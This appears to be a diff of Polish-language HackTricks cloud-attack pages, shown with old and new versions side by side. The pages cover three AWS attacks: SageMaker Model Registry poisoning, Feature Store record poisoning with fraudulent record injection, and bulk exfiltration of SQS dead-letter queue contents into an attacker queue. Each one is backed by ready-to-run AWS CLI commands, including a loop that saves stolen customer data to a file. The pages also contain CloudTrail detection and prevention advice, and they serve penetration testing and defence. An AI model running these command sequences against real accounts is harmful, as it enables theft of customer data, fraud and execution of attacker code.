- S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego)
- Cel: Model Package Group, który automatyzacja w kolejnych etapach obserwuje pod kątem Approved wersji
### Kroki
### Steps
1) Ustaw region i utwórz/znajdź docelowy Model Package Group
```bash
REGION=${REGION:-us-east-1}
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Zarejestruj złośliwą (tutaj nieszkodliwą) wersję Approved model package odwołującą się do publicznego obrazu AWS DLC
3) Zarejestruj złośliwą (tutaj nieszkodliwą) zatwierdzoną wersję pakietu modelu odwołującą się do publicznego obrazu AWS DLC
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Zweryfikuj, że nowa zatwierdzona wersja istnieje
4) Zweryfikuj, że nowa wersja Approved istnieje
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Wpływ
- Zatrucie Model Registry przez Approved wersję, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają Approved modele, mogą pobrać i uruchomić obraz atakującego, co skutkuje wykonaniem kodu z uprawnieniami ról endpoint/training.
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może zostać wywołane cross-account.
- Zatruj Model Registry za pomocą wersji Approved, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają modele Approved, mogą pobrać i uruchomić obraz atakującego, co daje wykonanie kodu w kontekście ról endpoint/training.
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może być przeprowadzone pomiędzy kontami.
## Feature store poisoning
Abuse `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać bieżące wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpoints.
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać aktualne wartości cech używane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy i exfiltrate poufne dane ML. Nie wymaga to dostępu do modeli ani endpoints, przez co jest to bezpośredni atak na warstwę danych.
{{#include ../../../../banners/hacktricks-training.md}}
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech używane przez inference w czasie rzeczywistym. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpointów.
## Wymagania
- Uprawnienia: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cel: Feature Group z włączonym OnlineStore (zwykle backing real-time inference)
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelami
- Cel: Feature Group z włączonym OnlineStore (zazwyczaj wspierający inference w czasie rzeczywistym)
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelem
## Kroki
### Rozpoznanie
1) Wypisz Feature Group z włączonym OnlineStore
1) Wypisz Feature Groups z włączonym OnlineStore
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat.
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do tworzenia poprawnych rekordów.
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do utworzenia poprawnych rekordów.
### Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records)
### Scenariusz Ataku 1: Data Poisoning (Overwrite Existing Records)
1) Odczytaj aktualny prawidłowy rekord
1) Odczytaj bieżący prawidłowy rekord
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Wprowadź złośliwe wartości do rekordu, używając inline parametru `--record`
2) Zatruj rekord złośliwymi wartościami, używając parametru inline `--record`
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) Zweryfikuj zatrute dane
3) Zweryfikuj poisoned data
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Wpływ**: ML models korzystające z tego feature będą teraz widzieć `risk_score=0.99` dla uczciwego użytkownika, co może zablokować jego transakcje lub usługi.
**Wpływ**: Modele ML wykorzystujące tę cechę zobaczą teraz `risk_score=0.99` dla prawidłowego użytkownika, co może zablokować jego transakcje lub usługi.
### Scenariusz ataku 2: Złośliwe wstrzyknięcie danych (Utworzenie fałszywych rekordów)
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
Wstrzyknij całkowicie nowe rekordy ze zmanipulowanymi cechami, aby obejść mechanizmy bezpieczeństwa:
Wstrzyknij zupełnie nowe rekordy ze zmanipulowanymi cechami, aby ominąć mechanizmy kontroli bezpieczeństwa:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
Zweryfikuj wstrzyknięcie:
Zweryfikuj injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może wykonywać wysokowartościowe transakcje oszukańcze bez wywoływania wykrywania oszustw.
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może dokonywać wysokokwotowych oszukańczych transakcji, nie uruchamiając systemu wykrywania oszustw.
### Scenariusz ataku 3: Eksfiltracja danych wrażliwych
Odczytaj wiele rekordów, aby wydobyć poufne cechy i zprofilować zachowanie modelu:
Odczytaj wiele rekordów, aby wydobyć poufne cechy i opracować profil zachowania modelu:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Wpływ**: Poufne cechy (wyniki ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
**Wpływ**: Poufne cechy (oceny ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
### Tworzenie Feature Group do testów/demonstracji (opcjonalne)
### Tworzenie testowego/demonstracyjnego Feature Group (opcjonalne)
Jeśli potrzebujesz utworzyć testową Feature Group:
Jeśli potrzebujesz utworzyć testowy Feature Group:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Wykrywanie
Monitoruj CloudTrail pod kątem podejrzanych wzorców:
- `PutRecord` zdarzenia od nietypowych podmiotów IAM lub adresów IP
- Wysoka częstotliwość wywołań `PutRecord` lub `GetRecord`
- `PutRecord` z anomalicznymi wartościami cech (np. risk_score poza normalnym zakresem)
- Masowe operacje `GetRecord` wskazujące na masową eksfiltrację
- Dostęp poza normalnymi godzinami pracy lub z nieoczekiwanych lokalizacji
Wdróż wykrywanie anomalii:
- Walidacja wartości cech (np. risk_score musi mieścić się w zakresie 0.0-1.0)
- Analiza wzorców zapisu (częstotliwość, czas, tożsamość źródła)
- Wykrywanie dryfu danych (gwałtowne zmiany w rozkładach cech)
## References
## Źródła
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
@@ -1,53 +1,55 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
## Description
{{#include ../../../banners/hacktricks-training.md}}
Wykorzystaj zadania przenoszenia wiadomości SQS do kradzieży wszystkich zgromadzonych wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Technika ta wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS, aby eksfiltrację wrażliwych danych zgromadzonych w DLQ przez dłuższy czas.
## Opis
## What is a Dead-Letter Queue (DLQ)?
Wykorzystaj zadania przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego za pomocą `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości AWS do eksfiltracji wrażliwych danych, które z czasem zgromadziły się w DLQ.
Kolejka Dead-Letter to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie zdoła ich poprawnie przetworzyć. Te nieudane wiadomości często zawierają:
- Wrażliwe dane aplikacji, których nie udało się przetworzyć
- Szczegóły błędów i informacje do debugowania
## Co to jest Dead-Letter Queue (DLQ)?
Dead-Letter Queue to specjalna kolejka SQS, do której wiadomości są automatycznie wysyłane, gdy nie uda się ich poprawnie przetworzyć przez główną aplikację. Te nieudane wiadomości często zawierają:
- Wrażliwe dane aplikacji, które nie mogły zostać przetworzone
- Szczegóły błędów i informacje pomocne w debugowaniu
- Dane osobowe (PII)
- Tokeny API, poświadczenia lub inne sekrety
- Krytyczne dla biznesu dane transakcyjne
DLQ pełnią rolę „cmentarza” dla nieudanych wiadomości, co czyni je wartościowym celem, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie obsłużyły.
DLQ działają jak "cmentarz" dla nieudanych wiadomości, przez co są cennym celem — gromadzą wrażliwe dane przez długi czas, których aplikacje nie były w stanie obsłużyć.
## Attack Scenario
## Scenariusz ataku
**Real-world example:**
1. **E-commerce application** przetwarza zamówienia klientów za pomocą SQS
2. **Niektóre zamówienia nie przechodzą** (problemy z płatnością, stanem magazynowym itp.) i trafiają do DLQ
**Przykład z prawdziwego świata:**
1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS
2. **Niektóre zamówienia się nie powiodły** (problemy z płatnością, brak towaru itp.) i trafiają do DLQ
3. **DLQ gromadzi** tygodnie/miesiące nieudanych zamówień zawierających dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami SQS
4. **Atakujący zdobywa dostęp** do poświadczeń AWS z uprawnieniami do SQS
5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (wolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji
## Requirements
- Kolejka źródłowa musi być skonfigurowana jako DLQ (odniesiona przez przynajmniej jedną polity RedrivePolicy innej kolejki).
- Uprawnienia IAM (uruchamiane jako skompromitowany principal ofiary):
## Wymagania
- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencja w przynajmniej jednej polityce RedrivePolicy innej kolejki).
- Uprawnienia IAM (działające jako skompromitowany podmiot ofiary):
- Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki zezwalająca `sqs:SendMessage` z principal ofiary). Dla celów w tym samym koncie zazwyczaj dozwolone domyślnie.
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, a na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca na `sqs:SendMessage` z konta podmiotu ofiary). Dla kolejek w tym samym koncie zwykle jest to dozwolone domyślnie.
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Eksfiltracja wrażliwych payloadów zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą prędkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala na `SendMessage` od principal ofiary.
## Wpływ
Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, ładunki aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa międzykontowo, jeśli polityka kolejki docelowej pozwala na `SendMessage` od podmiotu ofiary.
## How to Abuse
## Jak wykorzystać
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka).
- Utwórz lub wybierz kolejkę kontrolowaną przez atakującego i zdobądź jej ARN.
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do twojej kolejki docelowej.
- Monitoruj postęp lub anuluj w razie potrzeby.
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie używana jako DLQ przez jakąś kolejkę (dowolna kolejka).
- Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN.
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do swojej kolejki docelowej.
- Monitoruj postęp lub anuluj zadanie w razie potrzeby.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetwarzania zamówień klientów.
**Scenariusz**: Atakujący przejął poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającym nieudane próby przetwarzania zamówień klientów.
1) **Discover and examine the victim DLQ**
1) **Odkryj i przeanalizuj DLQ ofiary**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Utwórz docelową kolejkę kontrolowaną przez atakującego**
2) **Utwórz kontrolowaną przez atakującego kolejkę docelową**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Wykonaj bulk message theft**
3) **Przeprowadź masowe wykradanie wiadomości**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Zgromadź skradzione wrażliwe dane**
4) **Zbierz skradzione wrażliwe dane**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Uwagi dotyczące dostępu między kontami
- Docelowa kolejka musi mieć politykę zasobów zezwalającą principalowi ofiary na `sqs:SendMessage` (a jeśli używane, granty/uprawnienia KMS).
- Kolejka docelowa musi mieć politykę zasobu pozwalającą principalowi ofiary na `sqs:SendMessage` (a, jeśli używane, przyznania/uprawnienia KMS).
## Dlaczego ten atak jest skuteczny
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowane funkcje AWS, dzięki czemu trudno wykryć ją jako złośliwą
2. **Operacja hurtowa**: Przenosi tysiące wiadomości szybko, zamiast powolnego dostępu do pojedynczych wiadomości
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako działanie złośliwe
2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego dostępu pojedynczego
3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące
4. **Poza radarem**: Wiele organizacji nie monitoruje dokładnie dostępu do DLQ
5. **Możliwość między-kontowa**: Może exfiltrate do konta AWS atakującego, jeśli uprawnienia na to pozwalają
4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ uważnie
5. **Możliwość międzykontowa**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają
## Wykrywanie i zapobieganie
@@ -143,8 +145,10 @@ Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask
}
```
### Zapobieganie
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról
2. **Monitorowanie DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs
3. **Polityki dostępu międzykontowego**: Dokładnie przeglądaj polityki kolejek SQS zezwalające na dostęp między kontami
4. **Szyfrowanie DLQs**: Użyj SSE-KMS z ograniczonymi politykami kluczy
5. **Regularne czyszczenie**: Nie pozwól, aby poufne dane gromadziły się w DLQs na czas nieokreślony
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` wyłącznie do niezbędnych ról
2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQ
3. **Polityki cross-account**: Dokładnie przejrzyj polityki kolejek SQS zezwalające na dostęp między kontami
4. **Szyfruj DLQs**: Używaj SSE-KMS z ograniczonymi politykami klucza
5. **Regularne czyszczenie**: Nie pozwól, by wrażliwe dane gromadziły się w DLQs bezterminowo
{{#include ../../../banners/hacktricks-training.md}}